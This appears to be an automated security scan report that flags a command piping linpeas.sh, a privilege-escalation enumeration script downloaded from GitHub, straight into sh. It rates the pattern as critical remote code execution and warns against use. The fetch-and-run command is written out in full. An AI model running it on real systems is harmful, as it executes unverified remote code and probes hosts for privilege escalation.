Full Analysis
  • Remote Code Execution (CRITICAL): Automated scans detected a piped remote execution pattern using curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh. This executes a remote script directly from an untrusted source without any verification or integrity checks.
  • Privilege Escalation (HIGH): The target script, linpeas.sh, is a well-known tool used specifically for searching for local privilege escalation vectors. Executing such a tool suggests an intent to gain unauthorized permissions on the host system.
Recommendations
  • CRITICAL: Downloads and executes remote code from untrusted source(s): https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE
  • AI detected serious security threats
